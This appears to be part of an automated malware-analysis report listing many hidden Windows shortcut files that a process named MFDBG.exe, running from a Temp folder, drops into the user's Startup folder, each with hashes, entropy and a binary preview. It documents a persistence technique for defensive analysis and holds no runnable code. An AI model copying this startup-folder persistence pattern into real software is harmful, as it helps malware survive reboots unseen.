File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:03:41 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.925023137539813
Encrypted:	false
SSDEEP:	24:8ZuBfo8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8ZEFEvZ0yRO7DLO2zdxdRd1kyg
MD5:	8ADF4E41189E8059469F228937BC202D
SHA1:	1029853327542EA180FA85A6F2A7770689FF24A5
SHA-256:	D8D75E5276410F029427D597455D78C1C1000BE6E39A1BD0B2DA25C79A20698E
SHA-512:	744F037BC35001F084F22E7F421F58F829FF67C05E4CBEEBCF7D1AF91479CA17F20162D3FA05F46A3EC322B0F3B36336976577F3452F4E2E0AF43789812126C8
Malicious:	false
Preview:	L..................F....".......d...l..}d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c....W.}d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_2ebdfa23ed814906b21b57c280ad73e9.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:04:03 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.921558836197302
Encrypted:	false
SSDEEP:	24:8aBfk8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8YJEvZ0yRO7DLO2zdxdRd1kyg
MD5:	44605BF2DA1B8AEA82D540C59C795800
SHA1:	F52023B445658DD094B5B85FCD2FA2A07398CA4E
SHA-256:	96A0F23EB52C7A14B93396DC9D392C39D9975131D63A7A3DDFFB5928EEE8837B
SHA-512:	D4DF517F7E01DCF1888FCB6C07B549EE65B32FCC955B9C6D577E5C977C481AEB67554632D0D3A507A9069DCFD8B9BB79878FD0B0AE5617A6C514D65CB93B1BC2
Malicious:	false
Preview:	L..................F....".......d....D.d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c......d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_2ef9de1d0e93471b966fe31aae29341d.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:01:13 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.922576515620813
Encrypted:	false
SSDEEP:	24:8UBfD8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:86oEvZ0yRO7DLO2zdxdRd1kyg
MD5:	0A98B731F7C7C7C2448E1AE95C4B4B3A
SHA1:	B1604119AA74626836FB8DCA602DFBEC6EE264CA
SHA-256:	F4B31873B6AB242C0AAB233F0D6963846CBA97771CD2539D7BB5B092E1804925
SHA-512:	E55510A1ADC945D27792F26AC0280A25A72EDFD7144D27B75A58D95063136326F0450196A275FE3CF88CB9ACB90CA9C7A899C5675B53A6B741157644CEBE4014
Malicious:	false
Preview:	L..................F....".......d.....f%d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c..._W6%d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_2fa145309ed94639bda6744445de00f6.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:03:40 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.914558313783719
Encrypted:	false
SSDEEP:	24:8P/rBfX48EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:89P9EvZ0yRO7DLO2zdxdRd1kyg
MD5:	230CF6158905D09CF377AA911454D77C
SHA1:	8937CE9FE3320C614F60F943130A736ED2D98083
SHA-256:	E5BC4AEAC9BA7B798B515F1623CB40E722F0CD50D6E0B74430F4DF9079641FDD
SHA-512:	B333CBEE69B54CE7E60F674ED1042B7DE87FFCD5AE2161034E39856F59A1904F5BDF0CB9077D67EFCDA5D0C9092E7A49F9599D4429FD88B0DC4AEB247C84A614
Malicious:	false
Preview:	L..................F....".......d...!.!}d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c....6.}d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_2fbb0e41109d4b4794dc2aaeeb0b0d7a.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:02:49 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.928272016454919
Encrypted:	false
SSDEEP:	24:8dJBfl8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8dzqEvZ0yRO7DLO2zdxdRd1kyg
MD5:	84A3B7D5F7B814E5CF413B51390E8368
SHA1:	BFB03F749FE3DEF961B1AEAEFF97AEBD95B5891D
SHA-256:	BC8BEB29767B325668DE07D4EE33A5B328BF525A2DBF1D2F89E7615E025115B3
SHA-512:	89665973CF04C40997A38238F202932872A7E0B27C3970C14CD47473D063EAA1C5D7AB72E8E1AE30ED97F77E4B1C67F3EE56CBD8D1C42979A35AC2C6A1338802
Malicious:	false
Preview:	L..................F....".......d....u.^d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c...c..^d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_2fbf244e3203484b8a123b43825e10ef.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:02:49 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.922124257839336
Encrypted:	false
SSDEEP:	24:8ABf98EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8OyEvZ0yRO7DLO2zdxdRd1kyg
MD5:	60C53ACA7B04BC06AAA309BC64DCF72E
SHA1:	B7E800F39A734F9452EC28261492528659086840
SHA-256:	D554E714BE85E9D0624A33559D7571C199CFAEA1F18C7FF5F0A92E88990C00EE
SHA-512:	0F2B31A223EBEB1833458AA635B8F23CDB94A57D39A34E817B8F2AF56CB5173EEA88910F403B3683177BA0C9DDB5D39FFDB0C0A5B519D60EF4057509B608B08A
Malicious:	false
Preview:	L..................F....".......d...J..^d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c......^d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_301b2044a3774d16b16cf2ecb28bc225.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:01:16 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.920939255224405
Encrypted:	false
SSDEEP:	24:8+Bfm8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8UzEvZ0yRO7DLO2zdxdRd1kyg
MD5:	A50F9443514721A6D0462925B356BFEF
SHA1:	7DA13A718616A43A3998859593FB0C8AC1378D44
SHA-256:	C11094EA01F55FE602EE0A28DC8D2A9097B5D829F3CAA3135C4171DCA0C2F8CB
SHA-512:	8D3F6C437AD6C9E2AF4ADCF00BA839F977232810792E2F925BD817EC8FE2013B82BC196E6E279A0757172BAC81348A3253D2847528B92A259C197602F5EF85E6
Malicious:	false
Preview:	L..................F....".......d......'d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c......'d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_3034e684b8c54b1881579152b6953520.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:04:00 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.9282110426651355
Encrypted:	false
SSDEEP:	24:8TQBfs68EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8TecEvZ0yRO7DLO2zdxdRd1kyg
MD5:	00132955CA2ABDED5875DA9EDCC91466
SHA1:	D23D8AB80E8CD3D21DA1ABAC85D6F644316101DF
SHA-256:	82689556CC22EF4612CC1375075F800AF305FF209FCD99D61006AAE892043BD7
SHA-512:	BF95C23297DE14D6995974BA9040D305323E62BA0264A8D4D6715D3876D55B42507EFFF525AD5192BD5D6FF95325AAE4B551EDDCF378B2AE40D3F98EF901A86E
Malicious:	false
Preview:	L..................F....".......d...i..d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c...p...d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_3039dbe15e784bf4822f2683bdcef2ea.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:02:43 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.92849654807477
Encrypted:	false
SSDEEP:	24:8cBf48EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8SFEvZ0yRO7DLO2zdxdRd1kyg
MD5:	3979DB3729432E994214021BD8383F3E
SHA1:	9402C5A1D9BE541254AC9AE342F1E11629B5C824
SHA-256:	E6E69BA2490192A077778E7CEF40347C0F2219D99F1A615345E0F42898E9555D
SHA-512:	268389F4B6A340020E94DD12791554313D6EEF2E00D59015B88B7A44E9335CF2C9B069F7FE52B84F20E14F5069C7B58764D4090AD3825D522FABD99D448BC3CA
Malicious:	false
Preview:	L..................F....".......d...D..Zd.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c...$}.Zd.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_305792d13f0e478db4e1573b21322d35.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:02:43 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.921809623148604
Encrypted:	false
SSDEEP:	24:8mBfHf8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8sMEvZ0yRO7DLO2zdxdRd1kyg
MD5:	1EA1B46AD4ECD6DE590715CAF7DFA376
SHA1:	F945C94242CE1D7ECB08458AFA50E3636DC7F037
SHA-256:	53805DA215BB6929B0BEE347BCF25FAAA019B16E7815FB24E98FCEA95E1C8E19
SHA-512:	B3CCD8586C3174F9DD46AEA809D63A5BDCCB6EA058E59397F8A17A32CA253A8F9B4C330D299936855B8682C98D4AB4DB0589BA171516BF0555F3D1F908C55E1B
Malicious:	false
Preview:	L..................F....".......d....Q.[d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c.....1[d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_30c3c723f2c44cb390101a7e9170f1b7.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:01:16 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.9214222917757855
Encrypted:	false
SSDEEP:	24:8QBfm8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8ezEvZ0yRO7DLO2zdxdRd1kyg
MD5:	63E5FD396E9B23CA30DC4FDA132AD0AE
SHA1:	0DF18DA73730F69B4541F57926D319EF5B4568C8
SHA-256:	F92827AFAE1B253C9C1536069044CC3CDC8EA6E079B7FF61B0B011A61B07F065
SHA-512:	F116244227D9662AEF0A2B447F652A10793BA4AEAD6DAB0F326DAE3C5B5DE3D16CAF1D9135A6AADEDE2257A7A7B1498ED2F7D1F2AE9FBA3869880EA5D7AE194C
Malicious:	false
Preview:	L..................F....".......d....T.'d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c......'d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_311f5edb333e411fbe2ea302372108f6.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:02:27 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.9218399547586005
Encrypted:	false
SSDEEP:	24:88uBfp8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8pGEvZ0yRO7DLO2zdxdRd1kyg
MD5:	737A9A4F267191EB05B6A7E247DBD4A1
SHA1:	1E68DCE7FED0D815D1454574A191EC654CB07686
SHA-256:	14709BDDBD0F335370530258DB2B3AF2BB04CBD3E321E671DC938648E3327E3C
SHA-512:	B26035907696EF2BBF881C4F5B81C7FF3746946F3E3C779928F6E9AF77C93A226039B3599AFB2BF7719C84941929B5D850C8FF70073FB54774A148E8C8823CE1
Malicious:	false
Preview:	L..................F....".......d....q.Qd.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c...Y..Qd.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_3160f6c96ad24cf8a52bfde3f07fefe9.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:01:01 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.9311680133516615
Encrypted:	false
SSDEEP:	24:8EBfrp8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8qyEvZ0yRO7DLO2zdxdRd1kyg
MD5:	2601B134CEF637988987DCDE7124FD56
SHA1:	03649BEA893A3D05650990D4D246C8C5C93CE43D
SHA-256:	868BE3404FCB409BBDDD79671954105EE6A6D073F4B8D65E81659DA6A596B543
SHA-512:	4C65B8979EC24F5CD5E10D8A3BECD20B092106362017DDE73E702A33C0AC65A78C88B1E3301188E823922935A9D755A74411798873C8C12E8699A85AFA181CB5
Malicious:	false
Preview:	L..................F....".......d....O.d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c...{...d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_317ff03745ab418aaf4afb1fbe011bcf.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
